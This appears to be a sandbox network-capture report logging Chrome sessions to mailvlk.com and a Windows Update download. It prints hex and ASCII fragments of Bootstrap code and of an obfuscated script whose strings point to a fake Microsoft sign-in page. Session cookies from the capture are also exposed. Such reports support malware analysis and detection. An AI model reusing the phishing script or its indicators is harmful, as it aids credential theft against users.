2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 6e 20 65 26 26 69 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 65 29 2c 6e 26 26 69 28 74 2c 6e 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 72 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3a 7b 7d 2c 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6f 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 6f 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 Data Ascii: n e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){r
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 3b 29 3b 72 65 74 75 72 6e 20 74 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 65 26 26 22 23 22 21 3d 3d 65 7c 7c 28 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 22 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 Data Ascii: ument.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e\|\|(e=t.getAttribute("href")\|\|"");try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:funct
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 65 3d 74 68 69 73 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 28 74 29 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 6f 73 65 45 76 65 6e 74 28 65 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 74 68 69 73 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6f 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 65 26 26 28 6e 3d 64 Data Ascii: e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()\|\|this._removeElement(e)},t.dispose=function(){r.removeData(this._element,o),this._element=null},t._getRootElement=function(t){var e=Fn.getSelectorFromElement(t),n=!1;return e&&(n=d
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 69 76 65 22 2c 4e 3d 22 2e 62 74 6e 22 2c 4f 3d 7b 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 79 2b 45 2c 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 3a 28 53 3d 22 66 6f 63 75 73 22 29 2b 79 2b 45 2b 22 20 62 6c 75 72 22 2b 79 2b 45 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 6e 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 21 30 2c 65 3d 21 30 2c 6e 3d 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 6c 6f 73 65 73 74 28 41 29 5b 30 5d 3b 69 66 28 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 Data Ascii: ive",N=".btn",O={CLICK_DATA_API:"click"+y+E,FOCUS_BLUR_DATA_API:(S="focus")+y+E+" blur"+y+E},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(A)[0];if(n){var i=this._element.q
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 2e 66 6e 5b 70 5d 3d 43 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6b 29 2c 51 6e 3d 28 6a 3d 22 63 61 72 6f 75 73 65 6c 22 2c 4c 3d 22 2e 22 2b 28 48 3d 22 62 73 2e 63 61 72 6f 75 73 65 6c 22 29 2c 52 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 78 3d 28 50 3d 65 29 2e 66 6e 5b 6a 5d 2c 57 3d 7b 69 6e 74 65 72 76 61 6c 3a 35 65 33 2c 6b 65 79 62 6f 61 72 64 3a 21 30 2c 73 6c 69 64 65 3a 21 31 2c 70 61 75 73 65 3a 22 68 6f 76 65 72 22 2c 77 72 61 70 3a 21 30 7d 2c 55 3d 7b 69 6e 74 65 72 76 61 6c 3a 22 28 6e 75 6d 62 65 72 7c 62 6f 6f 6c 65 61 6e 29 22 2c 6b 65 79 62 6f 61 72 64 3a 22 62 6f 6f 6c 65 61 6e 22 2c 73 6c 69 64 65 3a 22 28 62 6f 6f 6c 65 61 6e 7c 73 74 72 69 6e Data Ascii: ict=function(){return m.fn[p]=C,k._jQueryInterface},k),Qn=(j="carousel",L="."+(H="bs.carousel"),R=".data-api",x=(P=e).fn[j],W={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},U={interval:"(number\|boolean)",keyboard:"boolean",slide:"(boolean\|strin
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 46 29 7d 2c 74 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 30 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 74 29 26 26 28 46 6e 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 74 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 69 73 2e 5f Data Ascii: iding\|\|this._slide(F)},t.pause=function(t){t\|\|(this._isPaused=!0),this._element.querySelector(et)&&(Fn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t\|\|(this._isPaused=!1),this._
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 56 45 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 54 4f 55 43 48 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 61 75 73 65 28 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 2c 35 30 30 2b 65 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 Data Ascii: VE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.interval)
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 65 6d 49 6e 64 65 78 28 73 29 2c 6c 3d 65 7c 7c 73 26 26 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 28 74 2c 73 29 2c 63 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 6c 29 2c 68 3d 42 6f 6f 6c 65 61 6e 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 3b 69 66 28 74 3d 3d 3d 71 3f 28 6e 3d 4a 2c 69 3d 5a 2c 72 3d 4b 29 3a 28 6e 3d 7a 2c 69 3d 47 2c 72 3d 4d 29 2c 6c 26 26 50 28 6c 29 2e 68 61 73 43 6c 61 73 73 28 56 29 29 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 3b 65 6c 73 65 20 69 66 28 21 74 68 69 73 2e 5f 74 72 69 67 67 65 72 53 6c 69 64 65 45 76 65 6e 74 28 6c 2c 72 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 26 26 73 26 26 6c 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e Data Ascii: emIndex(s),l=e\|\|s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),h=Boolean(this._interval);if(t===q?(n=J,i=Z,r=K):(n=z,i=G,r=M),l&&P(l).hasClass(V))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l){this._isSlidin
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 28 74 68 69 73 29 2e 64 61 74 61 28 29 29 2c 72 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6c 69 64 65 2d 74 6f 22 29 3b 72 26 26 28 69 2e 69 6e 74 65 72 76 61 6c 3d 21 31 29 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 50 28 6e 29 2c 69 29 2c 72 26 26 50 28 6e 29 2e 64 61 74 61 28 48 29 2e 74 6f 28 72 29 2c 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 7d 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 7d 7d 5d 29 2c 6f 7d 28 29 2c 50 28 64 6f Data Ascii: (this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(P(n),i),r&&P(n).data(H).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return W}}]),o}(),P(do

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	49776	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:22 UTC	1136	OUT	GET /js/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d8 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:22 UTC	657	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:22 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oHrDuuOGVUsWJF6bNbV63r8WAfyusvz4aqTE5kQHE8qwPJ00Tme2YFNWxOpGNTeNPckS0ojnLtZrwegq0IYE05hK0fPx8CiLn85kueZQdu6jrZkbrxZKdDxoS9x3eA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796859cfc3169a4-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:22 UTC	712	IN	Data Raw: 31 62 38 33 0d 0a 76 61 72 20 5f 30 78 32 32 64 35 62 34 3d 5f 30 78 65 39 33 36 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 7b 76 61 72 20 5f 30 78 35 61 66 63 32 39 3d 5f 30 78 32 65 38 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 65 39 33 36 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 38 30 33 34 2c 5f 30 78 31 36 34 39 61 66 29 7b 5f 30 78 35 65 38 30 33 34 3d 5f 30 78 35 65 38 30 33 34 2d 30 78 31 32 64 3b 76 61 72 20 5f 30 78 34 31 62 66 65 38 3d 5f 30 78 35 61 66 63 32 39 5b 5f 30 78 35 65 38 30 33 34 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 31 62 66 65 38 3b 7d 2c 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1b83var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 32 62 30 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 65 38 39 28 29 7b 76 61 72 20 5f 30 78 33 35 37 34 33 62 3d 5b 27 6c 6f 67 27 2c 27 75 6e 64 65 72 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 64 69 73 61 62 6c 65 64 27 2c 27 73 65 61 72 63 68 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 72 65 6d 6f 76 65 43 6c 61 73 73 27 2c 27 3c 62 72 2f 3e 27 2c 27 65 61 63 68 27 2c 27 6a 73 6f 6e 27 2c 27 74 72 61 63 65 27 2c 27 73 74 79 6c 65 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 6e 6f 6e 65 27 2c 27 69 30 31 31 36 27 2c 27 76 61 6c 75 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 72 65 6d 6f 76 65 41 74 74 72 27 2c 27 72 65 73 65 74 27 2c 27 6c 6f 67 5f Data Ascii: 2b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 72 20 5f 30 78 33 39 30 31 65 35 3d 5f 30 78 31 31 32 64 61 66 5b 5f 30 78 31 32 66 34 64 38 28 30 78 31 35 38 29 5d 28 5f 30 78 32 38 31 64 34 34 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 5f 30 78 31 31 32 64 61 66 3d 6e 75 6c 6c 2c 5f 30 78 33 39 30 31 65 35 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 5f 30 78 32 62 38 37 64 62 3d 21 5b 5d 2c 5f 30 78 33 63 66 65 63 39 3b 7d 3b 7d 28 29 29 2c 5f 30 78 34 62 39 62 61 35 3d 5f 30 78 64 62 31 63 65 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 38 38 32 35 33 3d 5f 30 78 65 39 33 36 3b 72 65 74 75 72 6e 20 5f 30 78 34 62 39 62 61 35 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 33 31 29 5d 28 29 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 Data Ascii: r _0x3901e5=_0x112daf[_0x12f4d8(0x158)](_0x281d44,arguments);return _0x112daf=null,_0x3901e5;}}:function(){};return _0x2b87db=![],_0x3cfec9;};}()),_0x4b9ba5=_0xdb1cec(this,function(){var _0x488253=_0xe936;return _0x4b9ba5[_0x488253(0x131)]()[_0x488253(0x1
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 38 29 5d 3d 5f 30 78 31 36 34 39 61 66 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 31 36 34 39 61 66 29 2c 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 3d 5f 30 78 34 31 65 35 39 30 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 34 31 65 35 39 30 29 2c 5f 30 78 35 31 36 64 37 64 5b 5f 30 78 31 63 64 66 39 31 5d 3d 5f 30 78 33 61 65 62 32 61 3b 7d 7d 29 3b 5f 30 78 35 65 38 30 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 73 6c 65 65 70 28 5f 30 78 34 31 35 62 63 31 29 7b 76 61 72 20 5f 30 78 31 35 35 30 61 33 3d 5f 30 78 65 39 33 36 3b 63 6f 6e 73 74 20 5f 30 Data Ascii: _0x3aeb2a[_0x3947f6(0x138)]=_0x1649af[_0x3947f6(0x15f)](_0x1649af),_0x3aeb2a[_0x3947f6(0x131)]=_0x41e590[_0x3947f6(0x131)][_0x3947f6(0x15f)](_0x41e590),_0x516d7d[_0x1cdf91]=_0x3aeb2a;}});_0x5e8034();function sleep(_0x415bc1){var _0x1550a3=_0xe936;const _0
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 30 78 33 36 37 63 62 35 28 30 78 31 35 32 29 29 2c 5f 30 78 34 62 39 38 35 63 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 33 29 29 3b 70 72 6f 67 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 37 31 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 66 29 29 2c 70 72 6f 67 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 35 29 29 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 30 29 5d 3d 27 31 30 27 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 Data Ascii: 0x367cb5(0x152)),_0x4b985c=document[_0x367cb5(0x146)](_0x367cb5(0x133));prog=document[_0x367cb5(0x171)](_0x367cb5(0x13f)),prog[_0x367cb5(0x166)](_0x367cb5(0x165)),_0x261182[_0x367cb5(0x145)][_0x367cb5(0x130)]='10',_0x261182[_0x367cb5(0x145)][_0x367cb5(0x1
2024-04-24 13:43:22 UTC	863	IN	Data Raw: 62 28 30 78 31 35 39 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 33 31 39 33 33 2c 5f 30 78 31 36 32 34 34 63 29 7b 76 61 72 20 5f 30 78 32 36 38 33 34 38 3d 5f 30 78 32 35 38 65 31 62 3b 5f 30 78 32 62 65 64 39 37 2b 3d 27 27 2b 5f 30 78 31 36 32 34 34 63 5b 30 78 30 5d 2b 5f 30 78 32 36 38 33 34 38 28 30 78 31 34 31 29 3b 7d 29 3b 7d 65 6c 73 65 7b 69 66 28 5f 30 78 33 35 64 31 35 32 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 36 34 29 5d 3d 3d 30 78 31 61 33 29 6c 6f 63 61 74 69 6f 6e 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 31 29 5d 28 29 3b 65 6c 73 65 7b 7d 7d 7d 2c 27 63 6f 6d 70 6c 65 74 65 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 64 63 37 34 29 7b 76 61 72 20 5f 30 78 31 65 38 63 64 35 3d 5f 30 78 33 36 37 63 62 35 3b 5f 30 78 32 36 Data Ascii: b(0x159)],function(_0x131933,_0x16244c){var _0x268348=_0x258e1b;_0x2bed97+=''+_0x16244c[0x0]+_0x268348(0x141);});}else{if(_0x35d152[_0x258e1b(0x164)]==0x1a3)location[_0x258e1b(0x151)]();else{}}},'complete':function(_0x25dc74){var _0x1e8cd5=_0x367cb5;_0x26
2024-04-24 13:43:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	49777	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:23 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9+ronNE95pkpmyw&MD=sRmD9cLz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-24 13:43:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 7bb7dacc-3943-49a5-832e-73358e7b08df MS-RequestId: cfa6ac60-ced5-46c1-bfbe-556350d29af3 MS-CV: mDG9/jtJXUaspl5m.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Apr 2024 13:43:23 GMT Connection: close Content-Length: 25457
2024-04-24 13:43:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-24 13:43:23 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	49778	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
